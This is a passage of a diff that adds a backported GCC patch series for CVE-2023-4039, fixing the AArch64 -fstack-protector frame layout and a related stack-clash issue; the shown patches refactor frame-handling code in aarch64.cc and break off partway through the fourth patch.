+--- a/gcc/testsuite/gcc.dg/vect/vect-simd-clone-10.c
++++ b/gcc/testsuite/gcc.dg/vect/vect-simd-clone-10.c
+@@ -1,3 +1,5 @@
++/* Since this uses dg-additional-sources, need to specify `dg-do run` instead of the default. */
++/* { dg-do run } */
+ /* { dg-require-effective-target vect_simd_clones } */
+ /* { dg-additional-options "-fopenmp-simd" } */
+ /* { dg-additional-options "-mavx" { target avx_runtime } } */
+diff --git a/gcc/testsuite/gcc.dg/vect/vect-simd-clone-12.c b/gcc/testsuite/gcc.dg/vect/vect-simd-clone-12.c
+index c44471e35bc..4699a3f3c80 100644
+--- a/gcc/testsuite/gcc.dg/vect/vect-simd-clone-12.c
++++ b/gcc/testsuite/gcc.dg/vect/vect-simd-clone-12.c
+@@ -1,3 +1,5 @@
++/* Since this uses dg-additional-sources, need to specify `dg-do run` instead of the default. */
++/* { dg-do run } */
+ /* { dg-require-effective-target vect_simd_clones } */
+ /* { dg-additional-options "-fopenmp-simd" } */
+ /* { dg-additional-options "-mavx" { target avx_runtime } } */
+--
+2.43.0
diff --git a/meta/recipes-devtools/gcc/gcc/CVE-2023-4039.patch b/meta/recipes-devtools/gcc/gcc/CVE-2023-4039.patch
new file mode 100644
index 0000000000..81b5067c33
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/CVE-2023-4039.patch
@@ -0,0 +1,3093 @@
+From: Richard Sandiford <richard.sandiford@arm.com>
+Subject: [PATCH 00/19] aarch64: Fix -fstack-protector issue
+Date: Tue, 12 Sep 2023 16:25:10 +0100
+
+This series of patches fixes deficiencies in GCC's -fstack-protector
+implementation for AArch64 when using dynamically allocated stack space.
+This is CVE-2023-4039. See:
+
+https://developer.arm.com/Arm%20Security%20Center/GCC%20Stack%20Protector%20Vulnerability%20AArch64
+https://github.com/metaredteam/external-disclosures/security/advisories/GHSA-x7ch-h5rf-w2mf
+
+for more details.
+
+The fix is to put the saved registers above the locals area when
+-fstack-protector is used.
+
+The series also fixes a stack-clash problem that I found while working
+on the CVE. In unpatched sources, the stack-clash problem would only
+trigger for unrealistic numbers of arguments (8K 64-bit arguments, or an
+equivalent). But it would be a more significant issue with the new
+-fstack-protector frame layout. It's therefore important that both
+problems are fixed together.
+
+Some reorganisation of the code seemed necessary to fix the problems in a
+cleanish way. The series is therefore quite long, but only a handful of
+patches should have any effect on code generation.
+
+See the individual patches for a detailed description.
+
+Tested on aarch64-linux-gnu. Pushed to trunk and to all active branches.
+I've also pushed backports to GCC 7+ to vendors/ARM/heads/CVE-2023-4039.
+
+CVE: CVE-2023-4039
+Upstream-Status: Backport
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+
+From 71a2aa2127283f450c623d3604dbcabe0e14a8d4 Mon Sep 17 00:00:00 2001
+From: Richard Sandiford <richard.sandiford@arm.com>
+Date: Tue, 12 Sep 2023 16:07:12 +0100
+Subject: [PATCH 01/19] aarch64: Use local frame vars in shrink-wrapping code
+
+aarch64_layout_frame uses a shorthand for referring to
+cfun->machine->frame:
+
+ aarch64_frame &frame = cfun->machine->frame;
+
+This patch does the same for some other heavy users of the structure.
+No functional change intended.
+
+gcc/
+ * config/aarch64/aarch64.cc (aarch64_save_callee_saves): Use
+ a local shorthand for cfun->machine->frame.
+ (aarch64_restore_callee_saves, aarch64_get_separate_components):
+ (aarch64_process_components): Likewise.
+ (aarch64_allocate_and_probe_stack_space): Likewise.
+ (aarch64_expand_prologue, aarch64_expand_epilogue): Likewise.
+ (aarch64_layout_frame): Use existing shorthand for one more case.
+---
+ gcc/config/aarch64/aarch64.cc | 123 ++++++++++++++++++----------------
+ 1 file changed, 64 insertions(+), 59 deletions(-)
+
+diff --git a/gcc/config/aarch64/aarch64.cc b/gcc/config/aarch64/aarch64.cc
+index 822a2b49a46..5d473d161d9 100644
+--- a/gcc/config/aarch64/aarch64.cc
++++ b/gcc/config/aarch64/aarch64.cc
+@@ -8612,7 +8612,7 @@ aarch64_layout_frame (void)
+ frame.is_scs_enabled
+ = (!crtl->calls_eh_return
+ && sanitize_flags_p (SANITIZE_SHADOW_CALL_STACK)
+- && known_ge (cfun->machine->frame.reg_offset[LR_REGNUM], 0));
++ && known_ge (frame.reg_offset[LR_REGNUM], 0));
+
+ /* When shadow call stack is enabled, the scs_pop in the epilogue will
+ restore x30, and we don't need to pop x30 again in the traditional
+@@ -9078,6 +9078,7 @@ aarch64_save_callee_saves (poly_int64 start_offset,
+ unsigned start, unsigned limit, bool skip_wb,
+ bool hard_fp_valid_p)
+ {
++ aarch64_frame &frame = cfun->machine->frame;
+ rtx_insn *insn;
+ unsigned regno;
+ unsigned regno2;
+@@ -9092,8 +9093,8 @@ aarch64_save_callee_saves (poly_int64 start_offset,
+ bool frame_related_p = aarch64_emit_cfi_for_reg_p (regno);
+
+ if (skip_wb
+- && (regno == cfun->machine->frame.wb_push_candidate1
+- || regno == cfun->machine->frame.wb_push_candidate2))
++ && (regno == frame.wb_push_candidate1
++ || regno == frame.wb_push_candidate2))
+ continue;
+
+ if (cfun->machine->reg_is_wrapped_separately[regno])
+@@ -9101,7 +9102,7 @@ aarch64_save_callee_saves (poly_int64 start_offset,
+
+ machine_mode mode = aarch64_reg_save_mode (regno);
+ reg = gen_rtx_REG (mode, regno);
+- offset = start_offset + cfun->machine->frame.reg_offset[regno];
++ offset = start_offset + frame.reg_offset[regno];
+ rtx base_rtx = stack_pointer_rtx;
+ poly_int64 sp_offset = offset;
+
+@@ -9114,7 +9115,7 @@ aarch64_save_callee_saves (poly_int64 start_offset,
+ {
+ gcc_assert (known_eq (start_offset, 0));
+ poly_int64 fp_offset
+- = cfun->machine->frame.below_hard_fp_saved_regs_size;
++ = frame.below_hard_fp_saved_regs_size;
+ if (hard_fp_valid_p)
+ base_rtx = hard_frame_pointer_rtx;
+ else
+@@ -9136,8 +9137,7 @@ aarch64_save_callee_saves (poly_int64 start_offset,
+ && (regno2 = aarch64_next_callee_save (regno + 1, limit)) <= limit
+ && !cfun->machine->reg_is_wrapped_separately[regno2]
+ && known_eq (GET_MODE_SIZE (mode),
+- cfun->machine->frame.reg_offset[regno2]
+- - cfun->machine->frame.reg_offset[regno]))
++ frame.reg_offset[regno2] - frame.reg_offset[regno]))
+ {
+ rtx reg2 = gen_rtx_REG (mode, regno2);
+ rtx mem2;
+@@ -9187,6 +9187,7 @@ static void
+ aarch64_restore_callee_saves (poly_int64 start_offset, unsigned start,
+ unsigned limit, bool skip_wb, rtx *cfi_ops)
+ {
++ aarch64_frame &frame = cfun->machine->frame;
+ unsigned regno;
+ unsigned regno2;
+ poly_int64 offset;
+@@ -9203,13 +9204,13 @@ aarch64_restore_callee_saves (poly_int64 start_offset, unsigned start,
+ rtx reg, mem;
+
+ if (skip_wb
+- && (regno == cfun->machine->frame.wb_pop_candidate1
+- || regno == cfun->machine->frame.wb_pop_candidate2))
++ && (regno == frame.wb_pop_candidate1
++ || regno == frame.wb_pop_candidate2))
+ continue;
+
+ machine_mode mode = aarch64_reg_save_mode (regno);
+ reg = gen_rtx_REG (mode, regno);
+- offset = start_offset + cfun->machine->frame.reg_offset[regno];
++ offset = start_offset + frame.reg_offset[regno];
+ rtx base_rtx = stack_pointer_rtx;
+ if (mode == VNx2DImode && BYTES_BIG_ENDIAN)
+ aarch64_adjust_sve_callee_save_base (mode, base_rtx, anchor_reg,
+@@ -9220,8 +9221,7 @@ aarch64_restore_callee_saves (poly_int64 start_offset, unsigned start,
+ && (regno2 = aarch64_next_callee_save (regno + 1, limit)) <= limit
+ && !cfun->machine->reg_is_wrapped_separately[regno2]
+ && known_eq (GET_MODE_SIZE (mode),
+- cfun->machine->frame.reg_offset[regno2]
+- - cfun->machine->frame.reg_offset[regno]))
++ frame.reg_offset[regno2] - frame.reg_offset[regno]))
+ {
+ rtx reg2 = gen_rtx_REG (mode, regno2);
+ rtx mem2;
+@@ -9326,6 +9326,7 @@ offset_12bit_unsigned_scaled_p (machine_mode mode, poly_int64 offset)
+ static sbitmap
+ aarch64_get_separate_components (void)
+ {
++ aarch64_frame &frame = cfun->machine->frame;
+ sbitmap components = sbitmap_alloc (LAST_SAVED_REGNUM + 1);
+ bitmap_clear (components);
+
+@@ -9342,18 +9343,18 @@ aarch64_get_separate_components (void)
+ if (mode == VNx2DImode && BYTES_BIG_ENDIAN)
+ continue;
+
+- poly_int64 offset = cfun->machine->frame.reg_offset[regno];
++ poly_int64 offset = frame.reg_offset[regno];
+
+ /* If the register is saved in the first SVE save slot, we use
+ it as a stack probe for -fstack-clash-protection. */
+ if (flag_stack_clash_protection
+- && maybe_ne (cfun->machine->frame.below_hard_fp_saved_regs_size, 0)
++ && maybe_ne (frame.below_hard_fp_saved_regs_size, 0)
+ && known_eq (offset, 0))
+ continue;
+
+ /* Get the offset relative to the register we'll use. */
+ if (frame_pointer_needed)
+- offset -= cfun->machine->frame.below_hard_fp_saved_regs_size;
++ offset -= frame.below_hard_fp_saved_regs_size;
+ else
+ offset += crtl->outgoing_args_size;
+
+@@ -9372,11 +9373,11 @@ aarch64_get_separate_components (void)
+ /* If the spare predicate register used by big-endian SVE code
+ is call-preserved, it must be saved in the main prologue
+ before any saves that use it. */
+- if (cfun->machine->frame.spare_pred_reg != INVALID_REGNUM)
+- bitmap_clear_bit (components, cfun->machine->frame.spare_pred_reg);
++ if (frame.spare_pred_reg != INVALID_REGNUM)
++ bitmap_clear_bit (components, frame.spare_pred_reg);
+
+- unsigned reg1 = cfun->machine->frame.wb_push_candidate1;
+- unsigned reg2 = cfun->machine->frame.wb_push_candidate2;
++ unsigned reg1 = frame.wb_push_candidate1;
++ unsigned reg2 = frame.wb_push_candidate2;
+ /* If registers have been chosen to be stored/restored with
+ writeback don't interfere with them to avoid having to output explicit
+ stack adjustment instructions. */
+@@ -9485,6 +9486,7 @@ aarch64_get_next_set_bit (sbitmap bmp, unsigned int start)
+ static void
+ aarch64_process_components (sbitmap components, bool prologue_p)
+ {
++ aarch64_frame &frame = cfun->machine->frame;
+ rtx ptr_reg = gen_rtx_REG (Pmode, frame_pointer_needed
+ ? HARD_FRAME_POINTER_REGNUM
+ : STACK_POINTER_REGNUM);
+@@ -9499,9 +9501,9 @@ aarch64_process_components (sbitmap components, bool prologue_p)
+ machine_mode mode = aarch64_reg_save_mode (regno);
+
+ rtx reg = gen_rtx_REG (mode, regno);
+- poly_int64 offset = cfun->machine->frame.reg_offset[regno];
++ poly_int64 offset = frame.reg_offset[regno];
+ if (frame_pointer_needed)
+- offset -= cfun->machine->frame.below_hard_fp_saved_regs_size;
++ offset -= frame.below_hard_fp_saved_regs_size;
+ else
+ offset += crtl->outgoing_args_size;
+
+@@ -9526,14 +9528,14 @@ aarch64_process_components (sbitmap components, bool prologue_p)
+ break;
+ }
+
+- poly_int64 offset2 = cfun->machine->frame.reg_offset[regno2];
++ poly_int64 offset2 = frame.reg_offset[regno2];
+ /* The next register is not of the same class or its offset is not
+ mergeable with the current one into a pair. */
+ if (aarch64_sve_mode_p (mode)
+ || !satisfies_constraint_Ump (mem)
+ || GP_REGNUM_P (regno) != GP_REGNUM_P (regno2)
+ || (crtl->abi->id () == ARM_PCS_SIMD && FP_REGNUM_P (regno))
+- || maybe_ne ((offset2 - cfun->machine->frame.reg_offset[regno]),
++ || maybe_ne ((offset2 - frame.reg_offset[regno]),
+ GET_MODE_SIZE (mode)))
+ {
+ insn = emit_insn (set);
+@@ -9555,7 +9557,7 @@ aarch64_process_components (sbitmap components, bool prologue_p)
+ /* REGNO2 can be saved/restored in a pair with REGNO. */
+ rtx reg2 = gen_rtx_REG (mode, regno2);
+ if (frame_pointer_needed)
+- offset2 -= cfun->machine->frame.below_hard_fp_saved_regs_size;
++ offset2 -= frame.below_hard_fp_saved_regs_size;
+ else
+ offset2 += crtl->outgoing_args_size;
+ rtx addr2 = plus_constant (Pmode, ptr_reg, offset2);
+@@ -9650,6 +9652,7 @@ aarch64_allocate_and_probe_stack_space (rtx temp1, rtx temp2,
+ bool frame_related_p,
+ bool final_adjustment_p)
+ {
++ aarch64_frame &frame = cfun->machine->frame;
+ HOST_WIDE_INT guard_size
+ = 1 << param_stack_clash_protection_guard_size;
+ HOST_WIDE_INT guard_used_by_caller = STACK_CLASH_CALLER_GUARD;
+@@ -9670,25 +9673,25 @@ aarch64_allocate_and_probe_stack_space (rtx temp1, rtx temp2,
+ register as a probe. We can't assume that LR was saved at position 0
+ though, so treat any space below it as unprobed. */
+ if (final_adjustment_p
+- && known_eq (cfun->machine->frame.below_hard_fp_saved_regs_size, 0))
++ && known_eq (frame.below_hard_fp_saved_regs_size, 0))
+ {
+- poly_int64 lr_offset = cfun->machine->frame.reg_offset[LR_REGNUM];
++ poly_int64 lr_offset = frame.reg_offset[LR_REGNUM];
+ if (known_ge (lr_offset, 0))
+ min_probe_threshold -= lr_offset.to_constant ();
+ else
+ gcc_assert (!flag_stack_clash_protection || known_eq (poly_size, 0));
+ }
+
+- poly_int64 frame_size = cfun->machine->frame.frame_size;
++ poly_int64 frame_size = frame.frame_size;
+
+ /* We should always have a positive probe threshold. */
+ gcc_assert (min_probe_threshold > 0);
+
+ if (flag_stack_clash_protection && !final_adjustment_p)
+ {
+- poly_int64 initial_adjust = cfun->machine->frame.initial_adjust;
+- poly_int64 sve_callee_adjust = cfun->machine->frame.sve_callee_adjust;
+- poly_int64 final_adjust = cfun->machine->frame.final_adjust;
++ poly_int64 initial_adjust = frame.initial_adjust;
++ poly_int64 sve_callee_adjust = frame.sve_callee_adjust;
++ poly_int64 final_adjust = frame.final_adjust;
+
+ if (known_eq (frame_size, 0))
+ {
+@@ -9977,17 +9980,18 @@ aarch64_epilogue_uses (int regno)
+ void
+ aarch64_expand_prologue (void)
+ {
+- poly_int64 frame_size = cfun->machine->frame.frame_size;
+- poly_int64 initial_adjust = cfun->machine->frame.initial_adjust;
+- HOST_WIDE_INT callee_adjust = cfun->machine->frame.callee_adjust;
+- poly_int64 final_adjust = cfun->machine->frame.final_adjust;
+- poly_int64 callee_offset = cfun->machine->frame.callee_offset;
+- poly_int64 sve_callee_adjust = cfun->machine->frame.sve_callee_adjust;
++ aarch64_frame &frame = cfun->machine->frame;
++ poly_int64 frame_size = frame.frame_size;
++ poly_int64 initial_adjust = frame.initial_adjust;
++ HOST_WIDE_INT callee_adjust = frame.callee_adjust;
++ poly_int64 final_adjust = frame.final_adjust;
++ poly_int64 callee_offset = frame.callee_offset;
++ poly_int64 sve_callee_adjust = frame.sve_callee_adjust;
+ poly_int64 below_hard_fp_saved_regs_size
+- = cfun->machine->frame.below_hard_fp_saved_regs_size;
+- unsigned reg1 = cfun->machine->frame.wb_push_candidate1;
+- unsigned reg2 = cfun->machine->frame.wb_push_candidate2;
+- bool emit_frame_chain = cfun->machine->frame.emit_frame_chain;
++ = frame.below_hard_fp_saved_regs_size;
++ unsigned reg1 = frame.wb_push_candidate1;
++ unsigned reg2 = frame.wb_push_candidate2;
++ bool emit_frame_chain = frame.emit_frame_chain;
+ rtx_insn *insn;
+
+ if (flag_stack_clash_protection && known_eq (callee_adjust, 0))
+@@ -10018,7 +10022,7 @@ aarch64_expand_prologue (void)
+ }
+
+ /* Push return address to shadow call stack. */
+- if (cfun->machine->frame.is_scs_enabled)
++ if (frame.is_scs_enabled)
+ emit_insn (gen_scs_push ());
+
+ if (flag_stack_usage_info)
+@@ -10057,7 +10061,7 @@ aarch64_expand_prologue (void)
+
+ /* The offset of the frame chain record (if any) from the current SP. */
+ poly_int64 chain_offset = (initial_adjust + callee_adjust
+- - cfun->machine->frame.hard_fp_offset);
++ - frame.hard_fp_offset);
+ gcc_assert (known_ge (chain_offset, 0));
+
+ /* The offset of the bottom of the save area from the current SP. */
+@@ -10160,16 +10164,17 @@ aarch64_use_return_insn_p (void)
+ void
+ aarch64_expand_epilogue (bool for_sibcall)
+ {
+- poly_int64 initial_adjust = cfun->machine->frame.initial_adjust;
+- HOST_WIDE_INT callee_adjust = cfun->machine->frame.callee_adjust;
+- poly_int64 final_adjust = cfun->machine->frame.final_adjust;
+- poly_int64 callee_offset = cfun->machine->frame.callee_offset;
+- poly_int64 sve_callee_adjust = cfun->machine->frame.sve_callee_adjust;
++ aarch64_frame &frame = cfun->machine->frame;
++ poly_int64 initial_adjust = frame.initial_adjust;
++ HOST_WIDE_INT callee_adjust = frame.callee_adjust;
++ poly_int64 final_adjust = frame.final_adjust;
++ poly_int64 callee_offset = frame.callee_offset;
++ poly_int64 sve_callee_adjust = frame.sve_callee_adjust;
+ poly_int64 below_hard_fp_saved_regs_size
+- = cfun->machine->frame.below_hard_fp_saved_regs_size;
+- unsigned reg1 = cfun->machine->frame.wb_pop_candidate1;
+- unsigned reg2 = cfun->machine->frame.wb_pop_candidate2;
+- unsigned int last_gpr = (cfun->machine->frame.is_scs_enabled
++ = frame.below_hard_fp_saved_regs_size;
++ unsigned reg1 = frame.wb_pop_candidate1;
++ unsigned reg2 = frame.wb_pop_candidate2;
++ unsigned int last_gpr = (frame.is_scs_enabled
+ ? R29_REGNUM : R30_REGNUM);
+ rtx cfi_ops = NULL;
+ rtx_insn *insn;
+@@ -10203,7 +10208,7 @@ aarch64_expand_epilogue (bool for_sibcall)
+ /* We need to add memory barrier to prevent read from deallocated stack. */
+ bool need_barrier_p
+ = maybe_ne (get_frame_size ()
+- + cfun->machine->frame.saved_varargs_size, 0);
++ + frame.saved_varargs_size, 0);
+
+ /* Emit a barrier to prevent loads from a deallocated stack. */
+ if (maybe_gt (final_adjust, crtl->outgoing_args_size)
+@@ -10284,7 +10289,7 @@ aarch64_expand_epilogue (bool for_sibcall)
+ }
+
+ /* Pop return address from shadow call stack. */
+- if (cfun->machine->frame.is_scs_enabled)
++ if (frame.is_scs_enabled)
+ {
+ machine_mode mode = aarch64_reg_save_mode (R30_REGNUM);
+ rtx reg = gen_rtx_REG (mode, R30_REGNUM);
+@@ -12740,24 +12745,24 @@ aarch64_can_eliminate (const int from ATTRIBUTE_UNUSED, const int to)
+ poly_int64
+ aarch64_initial_elimination_offset (unsigned from, unsigned to)
+ {
++ aarch64_frame &frame = cfun->machine->frame;
++
+ if (to == HARD_FRAME_POINTER_REGNUM)
+ {
+ if (from == ARG_POINTER_REGNUM)
+- return cfun->machine->frame.hard_fp_offset;
++ return frame.hard_fp_offset;
+
+ if (from == FRAME_POINTER_REGNUM)
+- return cfun->machine->frame.hard_fp_offset
+- - cfun->machine->frame.locals_offset;
++ return frame.hard_fp_offset - frame.locals_offset;
+ }
+
+ if (to == STACK_POINTER_REGNUM)
+ {
+ if (from == FRAME_POINTER_REGNUM)
+- return cfun->machine->frame.frame_size
+- - cfun->machine->frame.locals_offset;
++ return frame.frame_size - frame.locals_offset;
+ }
+
+- return cfun->machine->frame.frame_size;
++ return frame.frame_size;
+ }
+
+
+--
+2.34.1
+
+
+From 89a9fa287706c5011f61926eaf65e7b996b963a3 Mon Sep 17 00:00:00 2001
+From: Richard Sandiford <richard.sandiford@arm.com>
+Date: Tue, 12 Sep 2023 16:07:12 +0100
+Subject: [PATCH 02/19] aarch64: Avoid a use of callee_offset
+
+When we emit the frame chain, i.e. when we reach Here in this statement
+of aarch64_expand_prologue:
+
+ if (emit_frame_chain)
+ {
+ // Here
+ ...
+ }
+
+the stack is in one of two states:
+
+- We've allocated up to the frame chain, but no more.
+
+- We've allocated the whole frame, and the frame chain is within easy
+ reach of the new SP.
+
+The offset of the frame chain from the current SP is available
+in aarch64_frame as callee_offset. It is also available as the
+chain_offset local variable, where the latter is calculated from other
+data. (However, chain_offset is not always equal to callee_offset when
+!emit_frame_chain, so chain_offset isn't redundant.)
+
+In c600df9a4060da3c6121ff4d0b93f179eafd69d1 I switched to using
+chain_offset for the initialisation of the hard frame pointer:
+
+ aarch64_add_offset (Pmode, hard_frame_pointer_rtx,
+- stack_pointer_rtx, callee_offset,
++ stack_pointer_rtx, chain_offset,
+ tmp1_rtx, tmp0_rtx, frame_pointer_needed);
+
+But the later REG_CFA_ADJUST_CFA handling still used callee_offset.
+
+I think the difference is harmless, but it's more logical for the
+CFA note to be in sync, and it's more convenient for later patches
+if it uses chain_offset.
+
+gcc/
+ * config/aarch64/aarch64.cc (aarch64_expand_prologue): Use
+ chain_offset rather than callee_offset.
+---
+ gcc/config/aarch64/aarch64.cc | 4 +---
+ 1 file changed, 1 insertion(+), 3 deletions(-)
+
+diff --git a/gcc/config/aarch64/aarch64.cc b/gcc/config/aarch64/aarch64.cc
+index 5d473d161d9..4f233c95140 100644
+--- a/gcc/config/aarch64/aarch64.cc
++++ b/gcc/config/aarch64/aarch64.cc
+@@ -9985,7 +9985,6 @@ aarch64_expand_prologue (void)
+ poly_int64 initial_adjust = frame.initial_adjust;
+ HOST_WIDE_INT callee_adjust = frame.callee_adjust;
+ poly_int64 final_adjust = frame.final_adjust;
+- poly_int64 callee_offset = frame.callee_offset;
+ poly_int64 sve_callee_adjust = frame.sve_callee_adjust;
+ poly_int64 below_hard_fp_saved_regs_size
+ = frame.below_hard_fp_saved_regs_size;
+@@ -10098,8 +10097,7 @@ aarch64_expand_prologue (void)
+ implicit. */
+ if (!find_reg_note (insn, REG_CFA_ADJUST_CFA, NULL_RTX))
+ {
+- rtx src = plus_constant (Pmode, stack_pointer_rtx,
+- callee_offset);
++ rtx src = plus_constant (Pmode, stack_pointer_rtx, chain_offset);
+ add_reg_note (insn, REG_CFA_ADJUST_CFA,
+ gen_rtx_SET (hard_frame_pointer_rtx, src));
+ }
+--
+2.34.1
+
+
+From b36a2a78040722dab6124366c5d6baf8eaf80aef Mon Sep 17 00:00:00 2001
+From: Richard Sandiford <richard.sandiford@arm.com>
+Date: Tue, 12 Sep 2023 16:07:13 +0100
+Subject: [PATCH 03/19] aarch64: Explicitly handle frames with no saved
+ registers
+
+If a frame has no saved registers, it can be allocated in one go.
+There is no need to treat the areas below and above the saved
+registers as separate.
+
+And if we allocate the frame in one go, it should be allocated
+as the initial_adjust rather than the final_adjust. This allows the
+frame size to grow to guard_size - guard_used_by_caller before a stack
+probe is needed. (A frame with no register saves is necessarily a
+leaf frame.)
+
+This is a no-op as thing stand, since a leaf function will have
+no outgoing arguments, and so all the frame will be above where
+the saved registers normally go.
+
+gcc/
+ * config/aarch64/aarch64.cc (aarch64_layout_frame): Explicitly
+ allocate the frame in one go if there are no saved registers.
+---
+ gcc/config/aarch64/aarch64.cc | 8 +++++---
+ 1 file changed, 5 insertions(+), 3 deletions(-)
+
+diff --git a/gcc/config/aarch64/aarch64.cc b/gcc/config/aarch64/aarch64.cc
+index 4f233c95140..37643041ffb 100644
+--- a/gcc/config/aarch64/aarch64.cc
++++ b/gcc/config/aarch64/aarch64.cc
+@@ -8639,9 +8639,11 @@ aarch64_layout_frame (void)
+
+ HOST_WIDE_INT const_size, const_outgoing_args_size, const_fp_offset;
+ HOST_WIDE_INT const_saved_regs_size;
+- if (frame.frame_size.is_constant (&const_size)
+- && const_size < max_push_offset
+- && known_eq (frame.hard_fp_offset, const_size))
++ if (known_eq (frame.saved_regs_size, 0))
++ frame.initial_adjust = frame.frame_size;
++ else if (frame.frame_size.is_constant (&const_size)
++ && const_size < max_push_offset
++ && known_eq (frame.hard_fp_offset, const_size))
+ {
+ /* Simple, small frame with no outgoing arguments:
+
+--
+2.34.1
+
+
+From ada2ab0093596be707f23a3466ac82cff59fcffe Mon Sep 17 00:00:00 2001
+From: Richard Sandiford <richard.sandiford@arm.com>
+Date: Tue, 12 Sep 2023 16:07:13 +0100
+Subject: [PATCH 04/19] aarch64: Add bytes_below_saved_regs to frame info
+
+The frame layout code currently hard-codes the assumption that
+the number of bytes below the saved registers is equal to the
+size of the outgoing arguments. This patch abstracts that
+value into a new field of aarch64_frame.
+
+gcc/
+ * config/aarch64/aarch64.h (aarch64_frame::bytes_below_saved_regs): New
+ field.
+ * config/aarch64/aarch64.cc (aarch64_layout_frame): Initialize it,
+ and use it instead of crtl->outgoing_args_size.
+ (aarch64_get_separate_components): Use bytes_below_saved_regs instead
+ of outgoing_args_size.
+ (aarch64_process_components): Likewise.
+---
+ gcc/config/aarch64/aarch64.cc | 71 ++++++++++++++++++-----------------
+ gcc/config/aarch64/aarch64.h | 5 +++
+ 2 files changed, 41 insertions(+), 35 deletions(-)
+
+diff --git a/gcc/config/aarch64/aarch64.cc b/gcc/config/aarch64/aarch64.cc
+index 37643041ffb..dacc2b0e4dd 100644
+--- a/gcc/config/aarch64/aarch64.cc
++++ b/gcc/config/aarch64/aarch64.cc
+@@ -8478,6 +8478,8 @@ aarch64_layout_frame (void)
+ gcc_assert (crtl->is_leaf
+ || maybe_ne (frame.reg_offset[R30_REGNUM], SLOT_NOT_REQUIRED));
+
++ frame.bytes_below_saved_regs = crtl->outgoing_args_size;
++
+ /* Now assign stack slots for the registers. Start with the predicate
+ registers, since predicate LDR and STR have a relatively small
+ offset range. These saves happen below the hard frame pointer. */
+@@ -8582,18 +8584,18 @@ aarch64_layout_frame (void)
+
+ poly_int64 varargs_and_saved_regs_size = offset + frame.saved_varargs_size;
+
+- poly_int64 above_outgoing_args
++ poly_int64 saved_regs_and_above
+ = aligned_upper_bound (varargs_and_saved_regs_size
+ + get_frame_size (),
+ STACK_BOUNDARY / BITS_PER_UNIT);
+
+ frame.hard_fp_offset
+- = above_outgoing_args - frame.below_hard_fp_saved_regs_size;
++ = saved_regs_and_above - frame.below_hard_fp_saved_regs_size;
+
+ /* Both these values are already aligned. */
+- gcc_assert (multiple_p (crtl->outgoing_args_size,
++ gcc_assert (multiple_p (frame.bytes_below_saved_regs,
+ STACK_BOUNDARY / BITS_PER_UNIT));
+- frame.frame_size = above_outgoing_args + crtl->outgoing_args_size;
++ frame.frame_size = saved_regs_and_above + frame.bytes_below_saved_regs;
+
+ frame.locals_offset = frame.saved_varargs_size;
+
+@@ -8637,7 +8639,7 @@ aarch64_layout_frame (void)
+ else if (frame.wb_pop_candidate1 != INVALID_REGNUM)
+ max_push_offset = 256;
+
+- HOST_WIDE_INT const_size, const_outgoing_args_size, const_fp_offset;
++ HOST_WIDE_INT const_size, const_below_saved_regs, const_fp_offset;
+ HOST_WIDE_INT const_saved_regs_size;
+ if (known_eq (frame.saved_regs_size, 0))
+ frame.initial_adjust = frame.frame_size;
+@@ -8645,31 +8647,31 @@ aarch64_layout_frame (void)
+ && const_size < max_push_offset
+ && known_eq (frame.hard_fp_offset, const_size))
+ {
+- /* Simple, small frame with no outgoing arguments:
++ /* Simple, small frame with no data below the saved registers.
+
+ stp reg1, reg2, [sp, -frame_size]!
+ stp reg3, reg4, [sp, 16] */
+ frame.callee_adjust = const_size;
+ }
+- else if (crtl->outgoing_args_size.is_constant (&const_outgoing_args_size)
++ else if (frame.bytes_below_saved_regs.is_constant (&const_below_saved_regs)
+ && frame.saved_regs_size.is_constant (&const_saved_regs_size)
+- && const_outgoing_args_size + const_saved_regs_size < 512
+- /* We could handle this case even with outgoing args, provided
+- that the number of args left us with valid offsets for all
+- predicate and vector save slots. It's such a rare case that
+- it hardly seems worth the effort though. */
+- && (!saves_below_hard_fp_p || const_outgoing_args_size == 0)
++ && const_below_saved_regs + const_saved_regs_size < 512
++ /* We could handle this case even with data below the saved
++ registers, provided that that data left us with valid offsets
++ for all predicate and vector save slots. It's such a rare
++ case that it hardly seems worth the effort though. */
++ && (!saves_below_hard_fp_p || const_below_saved_regs == 0)
+ && !(cfun->calls_alloca
+ && frame.hard_fp_offset.is_constant (&const_fp_offset)
+ && const_fp_offset < max_push_offset))
+ {
+- /* Frame with small outgoing arguments:
++ /* Frame with small area below the saved registers:
+
+ sub sp, sp, frame_size
+- stp reg1, reg2, [sp, outgoing_args_size]
+- stp reg3, reg4, [sp, outgoing_args_size + 16] */
++ stp reg1, reg2, [sp, bytes_below_saved_regs]
++ stp reg3, reg4, [sp, bytes_below_saved_regs + 16] */
+ frame.initial_adjust = frame.frame_size;
+- frame.callee_offset = const_outgoing_args_size;
++ frame.callee_offset = const_below_saved_regs;
+ }
+ else if (saves_below_hard_fp_p
+ && known_eq (frame.saved_regs_size,
+@@ -8679,30 +8681,29 @@ aarch64_layout_frame (void)
+
+ sub sp, sp, hard_fp_offset + below_hard_fp_saved_regs_size
+ save SVE registers relative to SP
+- sub sp, sp, outgoing_args_size */
++ sub sp, sp, bytes_below_saved_regs */
+ frame.initial_adjust = (frame.hard_fp_offset
+ + frame.below_hard_fp_saved_regs_size);
+- frame.final_adjust = crtl->outgoing_args_size;
++ frame.final_adjust = frame.bytes_below_saved_regs;
+ }
+ else if (frame.hard_fp_offset.is_constant (&const_fp_offset)
+ && const_fp_offset < max_push_offset)
+ {
+- /* Frame with large outgoing arguments or SVE saves, but with
+- a small local area:
++ /* Frame with large area below the saved registers, or with SVE saves,
++ but with a small area above:
+
+ stp reg1, reg2, [sp, -hard_fp_offset]!
+ stp reg3, reg4, [sp, 16]
+ [sub sp, sp, below_hard_fp_saved_regs_size]
+ [save SVE registers relative to SP]
+- sub sp, sp, outgoing_args_size */
++ sub sp, sp, bytes_below_saved_regs */
+ frame.callee_adjust = const_fp_offset;
+ frame.sve_callee_adjust = frame.below_hard_fp_saved_regs_size;
+- frame.final_adjust = crtl->outgoing_args_size;
++ frame.final_adjust = frame.bytes_below_saved_regs;
+ }
+ else
+ {
+- /* Frame with large local area and outgoing arguments or SVE saves,
+- using frame pointer:
++ /* General case:
+
+ sub sp, sp, hard_fp_offset
+ stp x29, x30, [sp, 0]
+@@ -8710,10 +8711,10 @@ aarch64_layout_frame (void)
+ stp reg3, reg4, [sp, 16]
+ [sub sp, sp, below_hard_fp_saved_regs_size]
+ [save SVE registers relative to SP]
+- sub sp, sp, outgoing_args_size */
++ sub sp, sp, bytes_below_saved_regs */
+ frame.initial_adjust = frame.hard_fp_offset;
